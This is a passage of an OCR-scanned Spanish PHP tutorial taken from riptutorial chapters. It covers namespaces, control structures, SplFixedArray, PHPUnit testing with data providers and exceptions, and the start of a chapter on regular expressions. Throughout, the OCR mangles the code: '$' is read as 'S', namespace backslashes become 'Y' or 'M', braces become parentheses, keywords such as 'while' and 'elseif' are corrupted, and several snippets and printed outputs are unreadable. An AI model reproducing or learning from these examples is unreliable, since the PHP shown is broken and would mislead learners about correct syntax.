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namespace MyProjectYShapes; 


class Rectangle ([ ... ) 
class Sejeils l s.09. | 
class Circle € ess ) 


Una declaración de espacio de nombres se puede utilizar varias veces en diferentes archivos. El 
ejemplo anterior definió tres clases en el espacio de nombres myProject1Shapes en un solo archivo. 
Preferiblemente, esto se dividiría en tres archivos, cada uno comenzando con el namespace 
MyProjectAShapes; . Esto se explica con más detalle en el ejemplo estándar de PSR-4. 

Hacer referencia a una clase o función en un espacio de nombres 


Como se muestra en Declaración de espacios de nombres , podemos definir una clase en un 
espacio de nombres de la siguiente manera: 


namespace MyProjectiShapes; 


class Rectangle ([ ... ) 


Para hacer referencia a esta clase, se debe utilizar la ruta completa (incluido el espacio de 
nombres): 


Srectangle = new MyProjectYShapesMRectangle (); 


Esto se puede reducir importando la clase a través de la declaración de use : 


// Rectangle becomes an alias to MyProjectYShapesMRectangle 
use MyProjectlShapesRectangle; 


Srectangle = new Rectangle (); 


En cuanto a PHP 7.0, puede agrupar varias declaraciones de use en una sola declaración 
utilizando corchetes: 


use MyProjectYShapes!N( 


Rectangle, //Same as 'use MyProject1ShapeslRectangle” 
Cuércilies //Same as 'use MyProject1ShapesACircle” 
Triangle, //Same as 'use MyProjectiShapesYTriangle” 


PolygonYFiveSides, //You can also import sub-namespaces 


Polygon*NSixSides //In a grouped "use -—statement 
y; 


Srectangle = new Rectangle (); 
A veces dos clases tienen el mismo nombre. Esto no es un problema si se encuentran en un 
espacio de nombres diferente, pero podría convertirse en un problema al intentar importarlos con 


la declaración de use : 


use MyProject1ShapeslOval; 
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use MyProjectlLanguageslO0val; // Apparantly Oval is also a language! 
// Error! 


Esto se puede resolver definiendo un nombre para el alias usando la palabra clave as : 


use MyProject1ShapeslOval as OvalShape; 
use MyProjectlLanguagesl0val as OvalLanguage; 


Para hacer referencia a una clase fuera del espacio de nombres actual, debe escaparse con una 
y, de lo contrario se asume una ruta de espacio de nombres relativa a partir del espacio de 
nombres actual: 


namespace MyProjectiShapes; 


// References MyProjectShapesMRectangle. Correct! 


Sa = new Rectangle(); 


// References MyProject1ShapesMRectangle. Correct, but unneeded! 


Sa = new IAMyProjectlShapesMRectangle (); 


// References MyProject1ShapesWMyProject1ShapeslRectangle. Incorrect! 
$a = new MyProjectYShapesRectangle(); 


// Referencing StdClass from within a namespace requires a Y prefix 
// since it is not defined in a namespace, meaning it is global. 


// References StdClass. Correct! 
Sa = new 1AStdClass(); 


// References MyProjectYShapesAStdClass. Incorrect! 
Sa = new StdClass(); 


¿Qué son los espacios de nombres? 


La comunidad de PHP tiene muchos desarrolladores que crean muchos códigos. Esto significa 
que el código PHP de una biblioteca puede usar el mismo nombre de clase que otra biblioteca. 
Cuando ambas bibliotecas se usan en el mismo espacio de nombres, chocan y causan 
problemas. 


Los espacios de nombres resuelven este problema. Como se describe en el manual de referencia 
de PHP, los espacios de nombres se pueden comparar con los directorios del sistema operativo 
que contienen los archivos de espacios de nombres; dos archivos con el mismo nombre pueden 
coexistir en directorios separados. Del mismo modo, dos clases de PHP con el mismo nombre 
pueden coexistir en espacios de nombres de PHP separados. 


Es importante que escriba un espacio de nombre en su código para que otros desarrolladores 
puedan utilizarlo sin temor a colisionar con otras bibliotecas. 


Declarar sub-espacios de nombres 


Para declarar un solo espacio de nombres con jerarquía, utilice el siguiente ejemplo: 
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namespace MyProjectlSublLevel; 


const CONNECT_OK = 1; 
class Comecruion l/s. “l Y 
Euncicicn comecit 1) 4% sc. “/ ) 


El ejemplo anterior crea: 


constante myprojectiSublLevellCONNECT_OK 


clase MyProjectlSublLevellConnection Y 
función MyProjectlSublLevellconnect 


Lea Espacios de nombres en línea: https://riptutorial.com/es/php/topic/1021/espacios-de-nombres 
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Capítulo 40: Estructuras de Control 


Examples 


Sintaxis alternativa para estructuras de control. 


PHP proporciona una sintaxis alternativa para algunas estructuras de control: is , while, for, 


foreach Y switch. 


Cuando se compara con la sintaxis normal, la diferencia es, que la llave de apertura se sustituye 
por dos puntos ( : ) y la llave de cierre se sustituye por endis; al endmhile; endfor; , endforeach; , O 
endswitch; , respectivamente. Para ejemplos individuales, vea el tema sobre la sintaxis alternativa 
para las estructuras de control . 


if (Sa == 42): 
echo "The answer to life, the universe and everything is 42."; 


endif; 
Múltiples declaraciones de e1seis que usan sintaxis corta: 


1 (Sa == 5) sa 
echo "a equals 5"; 
clselz (SS == 0) $ 
echo "a equals 6"; 
else: 
echo "a is neither 5 nor 6"; 
endif; 


Manual de PHP - Estructuras de control - Sintaxis alternativa 
mientras 


wnile bucle se repite a través de un bloque de código siempre que una condición especificada sea 
verdadera. 


Sl = Lp 

wmale (sl < 10) 4 
echo $1; 
alaiep 


Salida: 123456789 


Para obtener información detallada, consulte el tema Bucles . 
hacer mientras 


do-while bucle do-while While primero ejecuta un bloque de código una vez, en cada caso, luego 
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itera a través de ese bloque de código siempre que una condición específica sea verdadera. 


Sil aPA 
echo $1; 
liaalile (SL < 10), 


Output: *12345678910” 


Para obtener información detallada, consulte el tema Bucles . 


ir 


El operador goto permite saltar a otra sección en el programa. Está disponible desde PHP 5.3. 
La instrucción goto es un goto seguido de la etiqueta de destino deseada: goto MyLabel; . 


El objetivo del salto se especifica mediante una etiqueta seguida de dos puntos: myLabe1 : 


Este ejemplo imprimirá Helio morla! : 


<?php 
goto MyLabel; 
echo 'This text will be skipped, because of the jump.'; 


MyLabel: 
echo 'Hello World!'; 
eS 


declarar 


declare Se utiliza para establecer una directiva de ejecución para un bloque de código. 


Se reconocen las siguientes directivas: 


* Tlalks 


* encoding 


* strict_types 
Por ejemplo, establezca marcas en 1: 


declare (ticks=1); 


Para habilitar el modo de tipo estricto, la dec1are declaración se utiliza con la declaración 
strict_types : 


declare (strict_types=1); 


si mas 
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La instrucción is en el ejemplo anterior permite ejecutar un fragmento de código, cuando se 


cumple la condición. Cuando desea ejecutar un fragmento de código, cuando no se cumple la 


condición, puede extender el ¡s Con else . 


a (Sa > So) 4 
echo "a is greater than b"; 
) else ( 
echo "a is NOT greater than b"; 


) 


Manual de PHP - Estructuras de control - Si no 
El operador ternario como sintaxis abreviada para if-else 


El operador ternario evalúa algo basándose en que una condición es verdadera o no. Es un 


operador de comparación y se usa a menudo para expresar una condición simple en caso de que 


exista en una forma más corta. Permite probar rápidamente una condición y, a menudo, 
reemplaza una línea multilínea if, lo que hace que su código sea más compacto. 


Este es el ejemplo anterior utilizando una expresión ternaria y valores de variables: sa=1; $b=2; 


echo ($a > $b) ? "a is greater than b" : "a is NOT greater than b"; 
Salidas: a is not greater than b. 


incluir y requerir 


exigir 


require es similar a include , excepto que producirá un error de nivel ._comr11E_Error fatal en 
E_COMPILE_ERROR error. Cuando el require falla, detendrá el script. Cuando la include falla, no 
detendrá la secuencia de comandos y solo emitirá ._warwiwG . 


require 'file.php'; 


Manual de PHP - Estructuras de control - Requerir 


incluir 
La declaración de include incluye y evalúa un archivo. 


./variables.php 


Sa = 'Hello World!'; 


./ main.php" 
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include 'variables.php'; 
echo $a; 
// Output: 'Hello World!” 


Tenga cuidado con este enfoque, ya que se considera un olor de código , ya que el archivo 


incluido está modificando la cantidad y el contenido de las variables definidas en el alcance dado. 


También puede include archivo, que devuelve un valor. Esto es extremadamente útil para 


manejar matrices de configuración: 


configuracion.php 


<?php 

return | 
'dbname' => 'my db', 
"user' => 'admin', 
'pass' => 'password', 


1; 
main.php 


<?php 
Sconfig = include 'configuration.php'; 


Este enfoque evitará que el archivo incluido contamine su alcance actual con variables 


modificadas o agregadas. 


Manual de PHP - Estructuras de control - Incluir 


include é: require también se puede usar para asignar valores a una variable cuando se 


devuelve algo por archivo. 
Ejemplo: 
archivo include! .php: 


<?php 
Sa = Vilas ls o ye erase) 


return Sa; 
2> 


archivo index.php: 


$value = include 'includel.php'; 
// Here, $value = "This is to be returned" 
regreso 
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La declaración de return devuelve el control del programa a la función de llamada. 


Cuando se llama a return desde dentro de una función, la ejecución de la función actual 
terminará. 


function returnEndsFunctions () 
( 
echo 'This is executed'; 
return; 


echo 'This is not executed.'; 


Cuando ejecutas returnEndsFunctions(); obtendrás la salida rnis is executed . 


Cuando se llama a return dentro de una función con y argumento, la ejecución de la función 
actual finalizará y el valor del argumento se devolverá a la función que llama. 


para 


for bucles se utilizan normalmente cuando tienes un fragmento de código que deseas repetir un 
número determinado de veces. 


sor (SL = lp Sl < 109 Sisa) 4 
echo $1; 
Salidas: 123456789 


Para obtener información detallada, consulte el tema Bucles . 
para cada 
foreach es una construcción, que le permite iterar sobre matrices y objetos fácilmente. 


Sasmrzay = [M, 2, Sl 
foreach ($farray as $value) ( 
echo $value; 
Salidas: 123 . 
Para usar el bucle foreacn con un objeto, debe implementar la interfaz iterator . 
Cuando iteras sobre matrices asociativas: 
Sarray = ['color'=>'red']; 


foreach ($farray as $key => $value) ( 
echo $key . ': ' . $value; 


) 
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Salidas: color: red 


Para obtener información detallada, consulte el tema Bucles . 
si otra cosa más 


elseif 


elseif COMbiNa if Y if else . La instrucción ¡is se extiende para ejecutar una instrucción diferente 
en caso de que la expresión original is no se cumpla. Pero, la expresión alternativa solo se 
ejecuta cuando se cumple la expresión condicional elseir . 


El siguiente código muestra "a es más grande que b", "a es igual a b" o "a es más pequeño que 
b": 


1 (Sa > So) Y 

echo "a is bigger than b"; 
) elseif (Sa == $b) ( 

echo "a is equal to b"; 
) else ( 

echo "a is smaller than b"; 


) 


Varias declaraciones de elseif 


Puede usar varias sentencias elseif dentro de la misma sentencia if: 


1f ($a == 1) ( 
echo "a is One"; 
elseif ($a == 2) ( 
echo "a 1s Ewo"; 
elseif (Sa == 3) ( 
echo "a is Three"; 


else ( 
echo "a is not One, not Two nor Three"; 


Si 
La construcción if permite la ejecución condicional de fragmentos de código. 


ae (Sa > o) 
cdas “a ls iggsz aca low, 


) 
Manual de PHP - Estructuras de control - Si 
cambiar 


La estructura del switcn realiza la misma función que una serie de sentencias ¡s , pero puede 
hacer el trabajo en menos líneas de código. El valor que se va a probar, como se define en la 


https://riptutorial.com/es/nome 194 


declaración de switcn , se compara para igualar con los valores en cada una de las declaraciones 
de case hasta que se encuentra una coincidencia y se ejecuta el código en ese bloque. Si no se 
encuentra una declaración de case coincidente, se ejecuta el código en el bloque default , Si 
existe. 


Cada bloque de código en Un case o declaración por derau1t debe terminar con la declaración de 
break . Esto detiene la ejecución de la estructura del switcn y continúa la ejecución del código 
inmediatamente después. Si se omite la instrucción breax , se ejecuta el código de la siguiente 
declaración de case , incluso si no hay coincidencia . Esto puede causar la ejecución inesperada 
del código si se olvida la instrucción breax , pero también puede ser útil cuando varias 
declaraciones de case necesitan compartir el mismo código. 


switch (Scolour) 
case "red": 
echo "the colour Ls red”. 
break; 
case "green": 
case "blue": 
echo "the colour is green or blue"; 
break; 
Case "yellow": 
echo "the colour is yellow"; 
// note missing break, the next block will also be executed 
case "black": 
echo "the colour is black" 
break; 
default: 
echo "the colour is something else"; 


break; 


Además de probar valores fijos, la construcción también puede ser obligada a probar 
declaraciones dinámicas al proporcionar un valor booleano a la instrucción switcn y cualquier 
expresión a la declaración del case . Tenga en cuenta que se utiliza el primer valor coincidente, 
por lo que el siguiente código dará como resultado "más de 100": 


Si = 1048; 
switch (true) ( 
case ($1 > 0)s 
echo "more than 0"; 
break; 
case (Su OO) 
echo "more than 100"; 
break; 
case ($1 > 000): 
echo "more than 1000"; 


break; 


Para posibles problemas con la escritura suelta mientras se usa la construcción del switch, 
consulte Cambiar sorpresas 


Lea Estructuras de Control en línea: https://riptutorial.com/es/php/topic/2366/estructuras-de- 
control 
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Capítulo 41: Estructuras de datos SPL 


Examples 


SpiFixedArray 


Diferencia de PHP Array 


El tipo de matriz predeterminado de PHP se implementa realmente como mapas hash ordenados, 
que nos permiten crear matrices que consisten en pares clave / valor donde los valores pueden 
ser de cualquier tipo y las claves pueden ser números o cadenas. Sin embargo, esto no es 
tradicionalmente cómo se crean los arreglos. 


Key Value 
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Entonces, como puede ver en esta ilustración, una matriz PHP normal se puede ver más como un 
conjunto ordenado de pares clave / valor, donde cada clave se puede asignar a cualquier valor. 
Note que en esta matriz tenemos claves que son tanto números como cadenas, como valores de 
diferentes tipos y la clave no tiene relación con el orden de los elementos. 


sem:me = | 
9 => oo", 
ll => 4.2, 
Mogul => awull., 


1; 


foreach ($arr as $key => $value) ( 
echo "Skey => $valuein"; 


) 
Así que el código anterior nos daría exactamente lo que esperaríamos. 


SS => 00 
Ll => 4,2 
bar => 


Las matrices regulares de PHP también tienen un tamaño dinámico para nosotros. Crecen y se 
encogen a medida que empujamos y hacemos estallar los valores desde y hacia la matriz, 
automáticamente. 


Sin embargo, en una matriz tradicional, el tamaño es fijo y consiste completamente en el mismo 
tipo de valor. Además, en lugar de claves, cada valor es el acceso por su índice, que puede 
deducirse por su desplazamiento en la matriz. 


SPLFixedArray 


Offset ————=> 0 1 2 
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Como sabríamos el tamaño de un tipo dado y el tamaño fijo de la matriz, un desplazamiento es el 
type size * nn representa la posición del valor en la matriz. Entonces, en el ejemplo anterior, 
Sarr[o] NOS da 1 , el primer elemento de la matriz y s$arrí11 nos da 2, y así sucesivamente. 


SpIFixedArray, sin embargo, no restringe el tipo de valores. Sólo restringe las claves a los tipos de 
números. También es de un tamaño fijo. 


Esto hace que SpiFixedArrays sea más eficiente que los arreglos PHP normales de una manera 
particular. Son más compactos por lo que requieren menos memoria. 


Creando la matriz 


SpIFixedArray se implementa como un objeto, pero se puede acceder con la misma sintaxis 
familiar a la que accede a una matriz PHP normal, ya que implementan la interfaz arrayaccess . 
También implementan las interfaces countable € Iterator para que se comporten de la misma 
manera que lo harías con las matrices que se comportan en PHP (es decir, cosas como 

count ($arr) Y foreach ($arr as $k => $v) funcionan de la misma manera para SplFixedArray ya que 
hacen arreglos normales en PHP. 


El constructor SplFixedArray toma un argumento, que es el tamaño de la matriz. 


Sarr = new SplFixedArray (4); 


Sena [0] = "Eo 
Ser [1] = “narus 
Sau [2] = "nazis 


foreach ($arr as $key => $value) ( 
echo "S$key => $valuen"; 


) 


Esto te da lo que esperas. 


SAS AS 
E-T-mAa 
IE E Y 
lp (Sr lan 
peo. Oo 
N*>R0 


Esto también funciona como se esperaba. 
var_dump (count ($arr)); 

Nos da... 
int (4) 


Note que en SpIFixedArray, a diferencia de una matriz PHP normal, la clave representa el orden 
del elemento en nuestra matriz, porque es un índice verdadero y no solo un mapa . 
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Cambiar el tamaño de la matriz 


Solo tenga en cuenta que debido a que la matriz es de un tamaño fijo, la cuenta siempre 
devolverá el mismo valor. Así que mientras unset ($arr[1]1) dará como resultado sarr[1] === null, 
la count ($arr) aún permanece en 4. 


Por lo tanto, para cambiar el tamaño de la matriz, deberá llamar al método setsize . 


Sarr->setSize(3); 
var_dump (count ($arr)); 
foreach ($arr as $key => $value) ( 


echo "Skey => $valuein"; 


) 


Ahora tenemos ... 


Importar a SpiFixedArray y exportar desde 
SpiFixedArray 


También puede importar / exportar una matriz PHP normal dentro y fuera de un SpIFixedArray 
con los métodos fromArray Y toArray . 


Sarray == [(1,2,3,4,51; 
$fixedArray = SplFixedArray::fromArray ($array); 


foreach ($fixedArray as $value) ( 
echo $value, "An"; 


) 


(Sl 1 16 9 12 


Yendo por el otro lado. 


$fixedArray = new SplFixedArray (5); 


SfixedArray[0] = 1; 
SfixedArray[1] 2 
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SfixedArray[2] = 3; 
SfixedArray[3] = 4; 
SfixedArray[4] = 5; 


Sarray = $fixedArray->toArray (); 


foreach ($array as $value) ( 
echo $value, "An"; 


) 


¡1 Ss CO 1 JA 


Lea Estructuras de datos SPL en línea: https://riptutorial.com/es/php/topic/6844/estructuras-de- 
datos-spl 
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Capítulo 42: Examen de la unidad 


Sinta 


xis 


* Lista completa de afirmaciones . Ejemplos: 


* assertTrue(bool $condition[, string $messagelfFalse = '']); 


* assertl 


Equals (mixed S$expected, mixed S$actual[, string $messagelfNotEqual = '']); 


Observaciones 


Unit pruebas unit se utilizan para probar el código fuente para ver si contiene acuerdos con 


entradas como esperamos. unit pruebas unit son soportadas por la mayoría de los marcos. Hay 


varias pruebas diferentes de PHPUnit y pueden diferir en la sintaxis. En este ejemplo estamos 


usando papunit . 


Examples 


Pruebas de reglas de clase 


Digamos, tenemos Un LoginForm simple de clase Loginrorm con reglas () (utilizado en la página de 
inicio de sesión como plantilla de marco): 


class LoginForm ( 


pub 
pub 
pub 


/* 


* 
e 
pub 


) 


lic $ema 


lic $pas 


ale 


lic $rememberMe; 


sword; 


rules () 
Login fo 


te Ea 
return 
Ue 

[ t 


ye 


IS 


// 


Usa 


// 
'p 


method returns an array with what each field has as a requirement. 


rm uses email and password to authenticate user. 


tion rules() ( 
[ 
Email and Password are both required 
email', 'password'], 'required'], 


Email must be in email format 
medie, tea, 


rememberMe must be a boolean value 
ememberMe', 'boolean'], 


Password must match this pattern (must contain only letters and numbers) 


assword', 'match', 'pattern' => '/"[a-z0-9]+$/1'1, 


/** the validate function checks for correctness of the passed rules */ 


public function validate ($rule) ( 


$Ssucces 
list ($v 
foreach 


s = true; 
ar, $type) = $rule; 
(array) ovatas van) 
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switch ($type) ( 
case "required": 
$success = $success £é $this->$var != ""; 
break; 
Case "email": 
Ssuccess = $success €s£ filter _var($this->$var, FILTER_ VALIDATE EMAIL); 
break; 


case "boolean": 
Ssuccess = $success €s£ filter var(S$this->$var, FILTER_VALIDATE_ BOOLEAN, 
FILTER_NULL_ON_FAILURE) !== null; 
break; 


case "match": 
$success = $success £é preg_match($rule["pattern"], $this->$var); 
break; 

default: 
throw new XInvalidArgumentException ("Invalid filter type passed") 


) 


return $success; 


Para realizar pruebas en esta clase, usamos pruebas de unidad (verificando el código fuente 
para ver si se ajusta a nuestras expectativas): 


class LoginFormTest extends TestCase ( 


protected $loginForm; 


// Executing code on the start of the test 
public function setUp() ( 
$this->loginForm = new LoginForm; 


// To validate our rules, we should use the validate() method 


* This method belongs to Unit test class LoginFormTest and 


* it's testing rules that are described abov 
EE 


public function testRuleValidation() ( 


$rules = $this->loginForm->rules (); 


// Initialize to valid and test this 


$this->loginForm->email = "validltemail.com"; 
$this->loginForm->password = "password"; 
Sthis->loginForm->rememberMe = true; 


Sthis->assertTrue ($this->loginForm->validate($rules), "Should be valid as nothing is 
oye Lac) 


// Test email validation 
// Since we made email to be in email format, it cannot be empty 
$this->loginForm->email = ''; 


Sthis->assertFalse ($this->loginForm->validate ($rules), "Email should not be valid 
(empty) "); 


il e coses mole comuesala WQL a serbia SO ales avala! 
$this->loginForm->email = 'invalid.email.com'; 


Sthis->assertFalse ($this->loginForm->validate($rules), "Email should not be valid 
(have moraei) + 
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// Revert email to valid for next test 
$this->loginForm->email = 'validltemail.com'; 


// Test password validation 
// Password cannot be empty (since it's required) 
$this->loginForm->password = ''; 


Sthis->assertFalse ($this->loginForm->validate($rules), "Password should not be valid 
(empty) "); 


// Revert password to valid for next test 
$this->loginForm->password = 'ThisIsMyPassword'; 


// Test rememberMe validation 

$this->loginForm->rememberMe = 999; 

Sthis->assertFalse ($this->loginForm->validate($rules), "RememberMe should not be valid 
(integer type)"); 


// Revert remeberMe to valid for next test 
Sthis->loginForm->rememberMe = true; 


¿Cómo pueden ayudar exactamente las pruebas unit (excluyendo ejemplos generales) aquí? Por 
ejemplo, encaja muy bien cuando obtenemos resultados inesperados. Por ejemplo, tomemos esta 
regla de antes: 

Massa", Giearecdal, “aartecia! => '/“la=20=91 5/11, 
En cambio, si nos perdimos una cosa importante y escribimos esto: 


Massa", Mmerdal, Mores! => "/“lE=0=918/1 01, 


Con docenas de reglas diferentes (asumiendo que estamos usando no solo correo electrónico y 
contraseña), es difícil detectar errores. Esta prueba unitaria: 


el iicatedlitas ue weldlalol sine! este dais 
$this->loginForm->email = "validltemail.com"; 
$this->loginForm->password = "password"; 


Sthis->loginForm->rememberMe = true; 


Sthis->assertTrue ($this->loginForm->validate ($rules), "Should be valid as nothing is 
soya Lao) 


Pasará nuestro primer ejemplo pero no el segundo . ¿Por qué? Porque en el segundo ejemplo 
escribimos un patrón con un error tipográfico (signo + perdido), lo que significa que solo acepta 
una letra / número. 


Las pruebas unitarias se pueden ejecutar en la consola con el comando: phpunit [path_to_file] . 
Si todo está bien, deberíamos poder ver que todas las pruebas están en estado ox , de lo 
contrario, veremos Error (errores de sintaxis) O rai1 (al menos una línea en ese método no se 
aprobó). 


Con parámetros adicionales como --coverage también podemos ver visualmente cuántas líneas en 
el código de back-end se probaron y cuáles pasaron / fallaron. Esto se aplica a cualquier marco 
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que haya instalado PHPUNnI . 


Ejemplo de cómo se ve la prueba puruni+ en la consola (apariencia general, no de acuerdo con 
este ejemplo): 


a - 
PHPUnit 4.2.1 by Sebastian Bergmann. 


) 


» 


(master 


Configuration read from /var/www/phpunit-randomizer/phpunit.xml.dist 


.ExampleTest::test4 
.ExampleTest::test3 
.ExampleTest::test2 
.ExampleTest::tests5 
.ExampleTest::test1 
.OtherExampleTest::test4 
.OtherExampleTest::test1 
.OtherExampleTest::test3 
.OtherExampleTest::test5 
.OtherExampleTest::test2 


Time: 151 ms, Memory: 3.50Mb 


Randomized with seed: 8639 


0 


: (masterY ) » 
PHPUnit 4.2.1 by Sebastian Bergmann. 


Configuration read from /var/www/phpunit-randomizer/phpunit.xml.dist 


.ExampleTest::test2 
.ExampleTest::test4 
.ExampleTest::test1 
.ExampleTest::test5 
.ExampleTest::test3 
.OtherExampleTest::test2 
.OtherExampleTest::test1 
.OtherExampleTest::test4 
.OtherExampleTest::test3 
.OtherExampleTest::test5 


Time: 108 ms, Memory: 3.50Mb 


Randomized with seed: 4674 
PHPUnit Data Providers 


Los métodos de prueba a menudo necesitan datos para ser probados. Para probar algunos 


métodos completamente, debe proporcionar diferentes conjuntos de datos para cada posible 
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condición de prueba. Por supuesto, puedes hacerlo manualmente usando bucles, como este: 


public function testSomething() 
1 
Scdara = loso 17 
foreach($data as $dataSet) ( 
Sthis->assertSomething($dataSet); 
) 


Y alguien puede encontrarlo conveniente. Pero hay algunos inconvenientes de este enfoque. 
Primero, tendrá que realizar acciones adicionales para extraer datos si su función de prueba 
acepta varios parámetros. En segundo lugar, en caso de error, sería difícil distinguir el conjunto 
de datos con errores sin mensajes adicionales y depuración. En tercer lugar, PHPUnit 
proporciona una forma automática de manejar los conjuntos de datos de prueba utilizando 
proveedores de datos . 


El proveedor de datos es una función que debe devolver datos para su caso de prueba particular. 


Un método de proveedor de datos debe ser público y devolver una matriz de 
matrices o un objeto que implementa la interfaz de iterador y produce una matriz 
para cada paso de iteración. Para cada matriz que forma parte de la colección, se 
llamará al método de prueba con el contenido de la matriz como sus argumentos. 


Para usar un proveedor de datos con su prueba, use la anotación taataPprovider con el nombre de 
la función del proveedor de datos especificada: 


pee 

* (dataProvider dataProviderForTest 
ad 

public function testEquals($a, $b) 

( 


Sthis->assertEquals($a, $b); 
) 


public function dataProviderForTest () 
1 
return | 
[4117 
(2,7211, 
[8,21 ¿(ais will Red 
1; 


Array de matrices 


Tenga en cuenta Que dataProviderForTest () devuelve una matriz de matrices. Cada 
matriz anidada tiene dos elementos y llenarán los parámetros necesarios para 
testEquals () UNO por uno. Se lanzará un error como este. missing argument 2 for 

Test : :testEquals () SÍ no hay suficientes elementos. PHPUnit pasará automáticamente 
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por los datos y ejecutará pruebas: 


public function dataProviderForTest () 
( 
return | 
Moilo ¿£ 10] testiaiquale (Sa = 1, Ho = 1) 
2.21, // 1] teseaequale (sa = 2, tl = 2) 
[8,21 // [2] There was 1 failure: 1) Test::testEquals with data set +2 (3, 4) 


1; 


Cada conjunto de datos puede ser nombrado por conveniencia. Será más fácil detectar los datos 
que fallan: 


public function dataProviderForTest () 
( 
return | 
Test 1' => [1,1], // [0] testEquals($a = 1, $b = 1) 
ese 21 => [2,21 // (1 tesuetals (Sa 2 a = 2) 
res. 5 => [5,21 // (241 Mere mes lL Fealluzes 
UN 1) Test: :testEquals with data set "Test 3" (3, 4) 


lteradores 


class Mylterator implements Iterator ( 
protected Sarray = []; 


public function __construct ($array) ( 
$this->array = $array; 

) 

function rewind() ( 


return reset ($this->array); 


function current () ( 
return current ($this->array); 


function key () ( 
return key ($this->array); 


) 


function next () (1 
return next ($this->array); 


function valid() ( 
return key ($this->array) !== null; 


class Test extends TestCas 
1 
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J** 
* (dataProvider dataProviderForTest 
e 

public function testEquals ($a) 


( 


StoCompare = 0; 


Sthis->assertEquals($a, $toCompare); 


public function dataProviderForTest () 
d 
return new Mylterator (| 
'Test 1' => [0], 
"Test 2' => [falsel, 
"Test 3' => [null] 


Como puedes ver, el iterador simple también funciona. 


Tenga en cuenta que incluso para un solo parámetro, el proveedor de datos debe 
devolver una matriz isparameter] 


Porque si cambiamos nuestro método current () (que en realidad devuelve datos en cada 
iteración) a esto: 


function current () ( 


return current ($this->array) [0]; 


O cambiar los datos reales: 


return new Mylterator (| 

"Test 1' => 0, 
"Test 2' => false, 
reste 3 => mul 


1D; 


Obtendremos un error: 


There was 1 warning: 


1) Warning 


The data provider specified for Test::testEquals is invalid. 


Por supuesto, no es útil usar el objeto 1terator sobre una matriz simple. Debería 
implementar alguna lógica específica para su caso. 


Generadores 


No se indica ni se muestra explícitamente en el manual, pero también puede usar un generador 
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como proveedor de datos. Tenga en cuenta que la clase cenerator realmente implementa la 
interfaz Iterator . 


Este es un ejemplo del uso de DirectoryIterator Combinado con el generator : 


J** 


* (fparam string $file 
* 


* (dataProvider fileDataProvider 

27/ 
public function testSomethingWithFiles($fileName) 
( 


//SfileName is available here 
//do test here 
public function fileDataProvider () 


( 
Sdirectory = new Directorylterator ('path-to-the-directory'); 


foreach ($directory as $file) ( 
if ($file->isFile() 8 $file->isReadable()) ( 
yield [$file->getPathname()]; // invoke generator here. 


Tenga en cuenta el yie1a proveedor es una matriz. En su lugar, recibirá una 
advertencia de proveedor de datos no válido. 


Excepciones de prueba 
Digamos que quieres probar el método que lanza una excepción 


class Car 


[ 
¡xk 


* (throws Exception 
29// 
public function drive() 


( 


throw new MException('Useful message', 1); 


Puede hacerlo encerrando la llamada al método en un bloque try / catch y haciendo afirmaciones 
sobre las propiedades del objeto de exección, pero más convenientemente puede usar métodos 
de afirmación de excepción. A partir de PHPUnit 5.2 , tiene métodos expectX () disponibles para 
confirmar el tipo de excepción, el mensaje y el código 


class DriveTest extends PHPUnit_Framework_TestCas 
( 
public function testDrive() 


( 
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// prepare 
Scar = new 


SexpectedClass = MÁ 


Neat(0 


Exception: :class; 


SexpectedM 


ssage = 


SexpectedCode = 1; 


// test 


Sthis->expect 


"Useful message'; 


Exception (SexpectedClass); 


Sthis->exp 


ctMessage ($expectedMessage) ; 


Sthis->exp 


// invoke 


ctCode ($expectedCode) ; 


Scar>drivel(); 


Si está utilizando una versión anterior de PHPUnit, el método setExpectedException puede 
usarse en lugar de los métodos expectX (), pero tenga en cuenta que está en desuso y se 


eliminará en la vers 


ión 6. 


class DriveTest extends PHPUnit_Framework_TestCas 


( 


public function testDrive() 


1 
// prepare 
$car = new 


SexpectedClass = Á 


SexpectedM 


Nesus(0) p 


Exception: :class; 


ssage = 


SexpectedCode = 1; 


// test 


"Useful message'; 


Sthis->set! 


// invoke 


Expected 


$car->drive(); 


Exception ($expectedClass, 


SexpectedMessage, 


SexpectedCode); 


Lea Examen de la unidad en línea: https://riptutorial.com/es/php/topic/3417/examen-de-la-unidad 
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Capítulo 43: Expresiones regulares (regexp / 
PCRE) 


* preg_replace ($pattern, $replacement, $subject, $limit = -1, $count = 0); 
* preg_replace_callback ($pattern, $callback, $subject, $limit = -1, $count = 0); 


* preg_match($pattern, $subject, $$matches, $flags = 0, Soffset = 0); 
* preg_match_all ($pattern, $subject, «$matches, $flags = PREG_PATTERN_ORDER, S$offset = 0); 


* preg_split ($pattern, $subject, $limit = -1, $£lags = 0) 
Parámetros 
$pattern una cadena con una expresión regular (patrón PCRE) 
Observaciones 


Las expresiones regulares de PHP siguen los estándares de patrones PCRE, que se derivan de 
las expresiones regulares de Perl. 


Todas las cadenas PCRE en PHP deben incluirse entre delimitadores. Un delimitador puede ser 
cualquier carácter no alfanumérico, sin barra inversa, sin espacios en blanco. Los delimitadores 
populares son - , /, z por ejemplo. 


Los patrones de PCRE pueden contener grupos, clases de caracteres, grupos de caracteres, 
aseveraciones anticipadas / anticipadas y personajes escapados. 


Es posible usar modificadores PCRE en la cadena spattern . Algunos de los más comunes son 
(no distingue mayúsculas y minúsculas), m (multilínea) y s (el punto metacaracteriano incluye 
líneas nuevas). El modificador y (global) no está permitido, en su lugar usará la función 
preg_match_all. 


Las coincidencias con las cadenas PCRE se realizan con s cadenas prefijadas numeradas: 


<?php 


Sreplaced = preg_replace ('Shello ([a-z]+) world$', 'goodbye $1 world', 'hello awesome world'); 


echo $replaced; // 'goodbye awesome world' 


Examples 
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Coincidencia de cadenas con expresiones regulares 
preg_match Comprueba si una cadena coincide con la expresión regular. 


$string = 'This is a string which contains numbers: 12345'; 


SisMatched = preg_match('$S” [a-zA-Z]+: [0-9]+$$%', $string); 
var_dump ($isMatched); // bool (true) 


Si pasa un tercer parámetro, se rellenará con los datos coincidentes de la expresión regular: 


pres merca (ME (le=sza=2 1) 8 (10=91)5%', "Male de a surbao ailcla Comecuas añioerss 123491, 
Smatches); 

// Smatches now contains results of the regular expression matches in an array. 

echo json_encode ($matches); // ["numbers: 12345", "numbers", "12345"] 


Smatches Contiene una matriz de la concordancia completa y luego las subcadenas en la expresión 
regular delimitada por paréntesis, en el orden de desplazamiento de paréntesis abierto. Eso 
significa que, si tiene /z (a (»))/ como expresión regular, el índice O contiene la subcadena 
completa za» , el índice 1 contiene la subcadena delimitada por los paréntesis externos ab y el 
índice 2 contiene los paréntesis internos » . 


Dividir cadena en matriz por una expresión regular 


